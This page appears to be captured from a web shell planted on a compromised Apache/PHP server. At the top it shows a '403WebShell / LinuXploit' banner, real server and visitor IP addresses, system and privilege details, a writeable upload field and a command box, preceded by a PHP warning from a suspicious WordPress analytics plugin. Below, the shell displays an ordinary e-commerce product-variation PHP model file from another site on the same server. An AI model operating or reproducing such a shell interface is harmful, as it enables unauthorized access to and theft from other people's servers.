Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/theyoungdesigners_com/modules/storeVariation/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/theyoungdesigners_com/modules/storeVariation/model/productvariation_model.php
<?php

// https://www.bestbuy.com/site/100-apple-gift-card-app-store-apple-music-itunes-iphone-ipad-airpods-accessories-and-more-digital/6421951.p?skuId=6421951

class ProductVariation_Model extends Database_Model {
	
	private $group_id;
	private $product_id;
	private $variationgroup_id;
	private $DATA;
	private $max;
	private $model_variation = NULL;
	private $VARIATIONS;
	private $VARIATION_SOURCE;
	private $DEFINITION;
	private $CURRENT;
	private $ACTIVE;
	private $VARIANTS;
	private $x_editable;
	private $x_price;

	public function GroupId() {
		if (func_num_args()) {
			$this->group_id = func_get_arg(0);
			$this->Load();
			return $this;
		}
		return $this->group_id;
	}

	// this is a list of variations specific to a product.  This establishes the group of products, related by the combinations of products
	// this is not a record id, but a tag.  All products with the same number are in the same group
	public function VariationGroup() {
		if (func_num_args()) {
			$this->variationgroup_id = func_get_arg(0);
			$this->LoadVariationGroup();
			return $this;
		}
		return $this->variationgroup_id;
	}
	
	public function ModelVariation($model) {
		$this->model_variation = $model;
		return $this;
	}

	// get current variations for a productgroup
	protected function Load() {
		$sql = <<<BLOCK
select * 
	from `pg_x_variation`
		left join `store_variation` on pxv_variation=sv_id

BLOCK;
		$rows = $this->Query($sql)
					->Where('pxv_productgroup=%d', $this->group_id)
					->OrderBy('pxv_order')
					->Get();
		$this->DATA = [];
		$this->max = 0;
		foreach($rows as $row) {
			$this->DATA[] = [
				'id' 	  => $row->sv_id,
				'caption' => $row->sv_caption,
				'order'   => $row->pxv_order,
			];
			if ($row->pxv_order > $this->max) $this->max = $row->pxv_order;
		}
	}

	private function LoadVariationGroup() {
		$this->VARIANTS = [];
		$this->ACTIVE = [];
		if ($this->variationgroup_id) {
			$sql = <<<BLOCK
select pxv_product, pxv_variation, pxv_caption, sp_active, so_order
from `prod_x_variation` as pxv
  left join `store_product` on pxv_product=sp_id
  left join `store_varoption` on so_variation=pxv_variation and so_caption=pxv_caption
BLOCK;
			// get only options present for this product
			$rows = $this->Query($sql)
				->Where('sp_variation = %d', $this->variationgroup_id)
				->OrderBy('pxv_product')
				->OrderBy('pxv_variation')
				->OrderBy('so_order')
				->Get();
			$this->DbErr();
			foreach($rows as $row) {
				$product_id = (int) $row->pxv_product;
				$variation_id = (int) $row->pxv_variation;
				$caption = $row->pxv_caption;
				if (!isset($this->VARIANTS[$product_id])) {
					$this->VARIANTS[$product_id] = [
						'active' => (int) $row->sp_active,
						'variation' => [],
					];
				}
				$this->VARIANTS[$product_id]['variation'][$variation_id] = [ 'cap' => $caption, 'idx' => (int) $row->so_order ];
			}

			foreach($this->VARIANTS as $item) {
				if ($item['active']) {
					foreach($item['variation'] as $variation_id => $itemrec) {
						$caption = $itemrec['cap'];
						$this->ACTIVE[$variation_id][$caption] = $itemrec['idx'];
					}
				}
			}
			foreach($this->ACTIVE as $variation_id => &$captions) {
				asort($captions);
				$captions = array_keys($captions);
			}

			unset($item);
			foreach($this->VARIANTS as &$item) {
					foreach($item['variation'] as $variation_id => &$itemrec) {
						$itemrec = $itemrec['cap'];
					}
			}

		}
		
	}

	// * the available variations for this product, based on product and product group
	// * the current variation values for this product
	protected function AsHandlebars() {
		$result = [];
		return $result;
	}
	
	private function listVariations() {
		$ids = array_column($this->DATA, 'id');
		// get all items
		$rows = $this->Query('select * from store_variation')
					->OrderBy('sv_caption')
					->Get();
		$output = [];
		foreach($rows as $row) {
			$id = $row->sv_id;
			if (!in_array($id, $ids)) {
				$output[] = [
					'key' => $id,
					'value' => $row->sv_caption,
				];
			}
		}
		return $output;
	}
	
	public function AsPopupAdd() {
		return [
			'title' => 'Add Variation(s)',
			'template' => 'store_productgroup_popup',
			'width' => 500,
			'modal' => true,
			'sc_id' => $this->group_id,
			'list_variation' => $this->listVariations(),	// list unallocated variations
		];
	}
	
	public function saveOptions($post) {
		$pg = $post['pg'] ?? [];
		$ids = array_column($this->DATA, 'id');
		
		foreach($pg as $index => $variation_id) {
			if (in_array($variation_id, $ids)) unset($elements[$index]);
		}
		
		// add remaining
		if (count($pg)) {
			$this->TableName('pg_x_variation');
			$max = $this->max;
			foreach($pg as $variation_id) {
				$max++;
				$this->InsertOrUpdate([
					'pxv_productgroup' => $this->group_id,
					'pxv_variation'    => $variation_id,
				],[
					'pxv_order' 	   => $max,
				]);
			}
		}
	}
	
	public function ProductGroupSave(&$result, $id, $post) {
	}
	
	public function addHandlebars(&$res) {
		if (count($this->DATA)) {
			$items = [];
			foreach($this->DATA as $item) {
				$items[] = [
					'key' 	=> $item['id'],
					'value' => $item['caption'],
				];
			}
			$res['sc_variation'] = $items;
		}
	}

	function escape($value) {
				return '"' . str_replace(array("\\",   '"',   "\n",  "\r", "\t", "\0"),
								array("\\\\", '\\"', "\\n", "\\r", "\\t", "\\0"), $value) . '"';
	}
	
	protected function _reorder($data, $tablename, $idfield, $record_id, $keyfield, $order) {
		$case = '';
		foreach($data as $key => $item) {
			$safevalue = $this->escape($key);
			$case .= " when $keyfield = {$safevalue} then {$item['new']} ";
		}
		$sql = "update $tablename set $order = case $case else $order end";
		$this->Query($sql)
			->Where("{$idfield}=%d", $record_id)
			->Get();
		$this->DbErr();
	}
	
	public function Reorder($order) {
		$reorder = [];
		$rows = $this->Query('select * from `pg_x_variation`')
					->Where('pxv_productgroup=%d', $this->group_id)
					->Get();
		foreach($rows as $row) {
			$reorder[$row->pxv_variation] = [ 'original' => (int) $row->pxv_order ];
		}
		foreach($order as $index => $value) {
			$reorder[$value]['new'] = $index + 1;
		}
		$this->_reorder($reorder, 'pg_x_variation', 'pxv_productgroup', $this->group_id, 'pxv_variation', 'pxv_order');
		return 1;
	}

	// -------------------------------------------------------------------------------
	// Product Group Variation Tree - updated whenever a category changes
	// -------------------------------------------------------------------------------

	// this is a tree of product groups, and the variations supported for each left in the tree
	// the text fields are just comments for readability, and are not used internally
	public function generateVariationTree() {
		$filename = HOME . '/storage/productcategory.json';
		if (file_exists($filename)) {
			$content = json_decode(file_get_contents($filename), TRUE);
			$CATAGORY = $content['DATA'];
			$expiry = $content['expiry'];
		} else {
			$expiry = 0;
		}
		
		if ($expiry < time()) {
			// load in all categories
			$CATEGORY = [];
			$rows = $this->Query('select sc_id,sc_parent,sc_caption from `store_category`')
						->Get();
			foreach($rows as $row) {
				$parent = (int)$row->sc_parent;
				$id = (int)$row->sc_id;
				$CATEGORY[$id] = [
					'id'		=> $id,
					'parent'	=> $parent,
					'caption'	=> $row->sc_caption,
					'variation' => [],
					'vcaption'	=> [],
				];
			}

			// load in all variations ( pg_x_variation )
			$sql = <<<'BLOCK'
select pxv_productgroup,pxv_variation,sv_caption
  from `pg_x_variation` as v
    left join `store_variation` as sv on sv.sv_id=v.pxv_variation
BLOCK;
			$rows = $this->Query($sql)
						->Get();
			foreach($rows as $row) {
				$parent = (int)$row->pxv_productgroup;
				$id 	= (int)$row->pxv_variation;
				$CATEGORY[$parent]['variation'][] = $id;
				$CATEGORY[$parent]['vcaption'][] = $row->sv_caption;
			}
			
			$content = json_encode(['expiry' => time() + 86400, 'DATA' => $CATEGORY], JSON_UNESCAPED_SLASHES);
			file_put_contents($filename, $content);
		}
		return $CATAGORY;
	}

	// -------------------------------------------------------------------------------
	//    Product
	// -------------------------------------------------------------------------------
	
	public function ProductId() {
		if (func_num_args()) {
			$this->product_id = func_get_arg(0);
			$this->LoadProduct();
			return $this;
		}
		return $this->product_id;
	}

	public function LoadProduct() {
		$TREE = $this->generateVariationTree();		// this is a cached file. Delete whenever a product group is added
		// get category
		$row = $this->Query('select sp_category,sp_variation,sp_price from `store_product`')
					->Where('sp_id=%d', $this->product_id)
					->First();
		$group_id = (int) $row->sp_category;
		$variationgroup_id = (int) $row->sp_variation;
		$this->x_price = (float) $row->sp_price;
		// get all variation options for product
		
		$this->VARIATION_SOURCE = [];
		$this->VARIATIONS = $this->_VariationFromGroup($TREE, $group_id);
		
		if (is_object($this->model_variation)) {
			// get definitions
			$this->DEFINITION = $this->model_variation
				->VariationId($this->VARIATIONS)
				->AsHandlebars($this->VARIATION_SOURCE);				// which product group did this variation come from
				
		} else {
			$this->DEFINITION = [];
		}
		
		// get variation values for current product
		$this->CURRENT = [];
		$rows = $this->Query(
					'select sv_caption, pxv_variation, pxv_caption from `prod_x_variation` '.
					'left join `store_variation`  on sv_id=pxv_variation'
				)
				->Where('pxv_product=%d', $this->product_id)
				->Get();
		foreach($rows as $row) {
			$this->CURRENT[$row->pxv_variation] = [ 
				'key' => $row->pxv_caption, 
				'title' => $row->sv_caption 
			];
		}
		foreach($this->DEFINITION as &$def) {
			$def['option'] = array_column($def['option'], 'value');		// drop key
			if (isset($this->CURRENT[$def['id']])) {
				$def['current'] = $this->CURRENT[$def['id']]['key'];
			} else {
				$def['current'] = $def['option'][0];
			}
		}
		$this->VariationGroup($variationgroup_id);
		// get canChange flag
	}
	
	private function AsHtml() {
		$output = '';
		foreach($this->CURRENT as $item) {
			if ($output != '') $output .= ' &nbsp; ';
			$output .= '<strong>' . htmlspecialchars($item['title']) . ':</strong> ' . $item['key'];
		}
		return $output;
	}
	
	private function _VariationFromGroup($TREE, $group_id) {
		$output = [];
		$depth = 0;
		while($group_id && $depth < 10) {
			if (isset($TREE[$group_id])) {
				$variation_list = $TREE[$group_id]['variation'];
				if ($depth) {
					foreach($variation_list as $var_id) {
						$this->VARIATION_SOURCE[$var_id] = $TREE[$group_id]['caption'];
					}
				}
				$output = array_merge($output, $variation_list);
				$group_id = $TREE[$group_id]['parent'];
			} else {
				break;
			}
			$depth++;
		}
		return $output;
	}
	
	private function _asTable_assembleVariation($variations, $index) {
		$result = [];
		for($i = count($variations) - 1; $i >= 0; $i--) {
			$column = $variations[$i];
			$c = count($column);
			$idx = $index % $c;
			$result[] = $column[$idx];
			$index = intval($index / $c);
		}
		
		return array_reverse($result);
	}
	
	private function _isVariation($node, $source) {
		foreach($this->DEFINITION as $index => $def) {
			$variation_id = $def['id'];
			if ($node[$index] != $source[$variation_id]) return FALSE;
		}
		return TRUE;
	}

	private function _isVariation_current($node) {
		foreach($this->DEFINITION as $index => $def) {
			$variation_id = $def['id'];
			$source = $this->CURRENT[$variation_id]['key'];
			if ($node[$index] != $source) return FALSE;
		}
		return TRUE;
	}

	
	// type = 0 (not present - can be cloned), 1 = present, 2 = present (disabled), 3 = current
	
	private function _asTable() {
		$header = [];
		$detail = [];
		$variations = [];
		$total = 1;
		foreach($this->DEFINITION as $def) {
			$header[] = $def['caption'];
			$variations[] = $def['option'];
			$total *= count($def['option']);
		}
		// get all variations
		for($index = 0; $index < $total; $index++) {
			$item = $this->_asTable_assembleVariation($variations, $index);
			if ($this->_isVariation_current($item)) {
				$type = 3;
			} else {
				$type = $this->_isUsedVariation($item, $product_id);
			}
			$detail[] = [
				'depth' => $item,
				'link'  => $this->_asTable_link($item, $type, $product_id),
				'type'  => $type,
			];
		}
		return [$header, $detail];
	}
	
	private function _asTable_link($node, $type, $product_id) {
		$output = '';
		if ($type == 1 || $type == 2) {
			return "/admin/product/{$product_id}/edit#variation";
		}
		foreach($this->DEFINITION as $index => $def) {
			$variation_id = $def['id'];
			$text = $node[$index];
			if ($output != '') $output .= '&';
			$output .= "v[{$variation_id}]=" . rawurlencode($text);
		}
		return "/admin/product-variations/{$this->product_id}/clone?$output";
	}
	
	private function _isUsedVariation($item, &$product_id) {
//		var_dump($this->VARIANTS);
//		exit;
		foreach($this->VARIANTS as $product => $info) {
			if ($this->_isVariation($item, $info['variation'])) {
				$product_id = $product;
				return $info['active'] ? 2 : 1;
			}
		}
		return 0;
	}
	
	// Product Admin: from  the Variation tab
	public function AsHandlebars_Product() {
		$data = [];
		$data['variation'] = $this->DEFINITION;
		$data['sp_id'] = $this->product_id;
		[ $data['header'], $data['detail'] ] = $this->_asTable();
		$data['hasvariation'] = count($this->DEFINITION) ? 1 : 0;
		return $data;
	}
	
	public function Save($postdata) {
		$this->TableName('prod_x_variation');
		foreach($this->DEFINITION as &$def) {
			$variation_id = $def['id'];
			if (isset($postdata[$variation_id])) {
				$this->InsertOrUpdate([
					'pxv_product' => $this->product_id,
					'pxv_variation' => $variation_id,
				], [
					'pxv_caption' => $postdata[$variation_id],
				]);
			}
		}
	}
	
/*	
	private function _activeVariationOptions() {
		// get count of all products in the variation group in the specified variation
		$sql = <<<'BLOCK'
SELECT pv.*, p.sp_id 
  FROM `store_product` as p
    right join prod_x_variation as pv on pxv_product=sp_id
BLOCK;
		$rows = $this->Query($sql)
			->Where('sp_active = 1')
			->Where('sp_variation=%d', $variationgroup_id)
			->OrderBy('pxv_variation')
			->OrderBy('pxv_caption')
			->Get();
		$result = [];
		foreach($rows as $row) {
			$result[$row['pxv_variation']][$row['pxv_caption']] = (int) $row['sp_id'];
		}
		return $result;
	}
*/
	
	// if more variation options appear than are expected - make sure sp_variation as a value
	// dont show parent
	public function addHandlebarsProduct(&$res) {
		$defs = $this->DEFINITION;
		foreach($defs as &$def) {
			$variation_id = $def['id'];
			unset($def['parent']);
			if (isset($this->ACTIVE[$variation_id])) {
				$def['option'] = $this->ACTIVE[$variation_id];
			}
		}
		$res['variation'] = $defs;
	}
	
	// clone the variations - use the params from the query string
	public function CloneProduct($param) {
		$this->TableName('prod_x_variation');
		foreach($this->DEFINITION as $def) {
			$variation_id = $def['id'];
			if (isset($param['variation'][$variation_id])) {
				$this->InsertOrUpdate([
					'pxv_product' => $param['target'],
					'pxv_variation' => $variation_id,
				], [
					'pxv_caption' => $param['variation'][$variation_id],
				]);
				$this->DbErr();
			}
		}
	}
	
	private function isMatch($set1, $set2) {
		$res = array_intersect($set1, $set2);
		return count($res) == count($set1);
	}
	
	private function getBestVariation($current) {
		$best = FALSE;
		$variation = [];
		header('Content-type: text/plain');
		
		foreach($current as $group_id => $current_variation) {
			$variation[] = $current_variation;
			$current_id = FALSE;
			foreach($this->VARIANTS as $product_id => $item) {
				if ($item['active']) {
					$res = array_intersect($variation, $item['variation']);
					if (count($res) == count($variation)  && $current_id === FALSE) {
						$current_id = $product_id;
						break;
					}
				}
			}
			if ($current_id !== FALSE) {
				$best = $current_id;
			}
		}
		return $best;
	}
	
	public function locateVariation($post) {
		$current = $post['variation'];
		// get all variants that match the first variation - product id = first entry
		//   then get all the variants that match the second variation = product id = first entry
		$product_id = $this->getBestVariation($current);
		if ($product_id) return $product_id;
		
		foreach($this->VARIANTS as $product_id => $item) {
			if ($item['active'] && $this->isMatch($item['variation'], $current)) return $product_id;
		}
		return FALSE;
	}
	
	private function _getVariationsByPrice($group_id) {
		$sql = <<<BLOCK
select x.*, v.sv_id, v.sv_caption, p.sp_price, count(distinct pxv_caption) as c
  from prod_x_variation as x
    left join `store_product` as p on pxv_product=sp_id
    left join store_variation as v on pxv_variation=v.sv_id
BLOCK;
		$row = $this->Query($sql)
			->Where('sp_variation=%d', $group_id)
			->Where('sp_price=%f', $this->x_price)
			->groupBy('sv_caption')
			->orderBy('c desc')
			->Get()
			->First();
		if (!is_null($row) && !$row->empty()) {
			$c = (int) $row->c;
			if ($c > 1) {			// this variation can be changed without changing the price
				return [
					'sv_id' 		=> (int) $row->sv_id,
					'sv_caption'	=> $row->sv_caption
				];
			}
		}
		return NULL;
	}

	public function AddCartContent(&$data, $tag = '') {
		$this->x_editable = [];
		foreach($data['cart'] as &$item) {
			$text = $this->ProductId($item['product'])
						 ->AsHtml();
			if ($text != '') {
				$item['variation'] = $text;
				if ($tag == 'edit' && $this->variationgroup_id) {
					if (!isset($this->x_editable[$this->variationgroup_id])) {
						// does this product have an editable variation - one where every variation of the product is the same price as this?
						$info = $this->_getVariationsByPrice($this->variationgroup_id);
						$this->x_editable[$this->variationgroup_id] = $info;
					}
					if (is_array($info)) {
						$item['button_variation'] = $info['sv_caption'];
					}
				}
			}
		}
	}
	
	public function categoryChange() {
		// clear out cache file
		$filename = HOME . '/storage/productcategory.json';
		@unlink($filename);
	}
	
	private function _isCompatibleVariant($variation, $info, $current) {
		// $info = this is the variation that can change
		$var_id = $info['sv_id'];
		// make sure all variations other than var_id are the same
		foreach($this->CURRENT as $variation_id => $stuff) {
			if ($variation_id != $var_id) {
				if ($current[$variation_id] != $variation[$variation_id]) return FALSE;
			}
		}
		return $variation[$var_id];
	}
	
	private function getAssociatedVariants($info, $current) {
		$output = [];
		foreach($this->VARIANTS as $product_id => $prod_info) {
			if ($prod_info['active']) {
				$key = $this->_isCompatibleVariant($prod_info['variation'], $info, $current);
				
				if ($key) {
					$output[] = [
						'product'	=> $product_id, 
						'caption'	=> $key,
						// this needs to have uri too?
					];
				}
			}
		}
		$res = ['cart' => $output];
		// now we have the products - we need the primary thumbnail for each
		$res = hook_execute('cart.display', $res, 'fulfill');		// add images		
		return $res['cart'];
	}

	public function getProductVariations() {
		// which variation has all products of the same price
		$info = $this->_getVariationsByPrice($this->variationgroup_id);
		$current = $this->VARIANTS[$this->product_id]['variation'] ?? NULL;
		// get all suitable products
		$products = $this->getAssociatedVariants($info, $current);
		
		return $products;
	}


}

Youez - 2016 - github.com/yon3zu
LinuXploit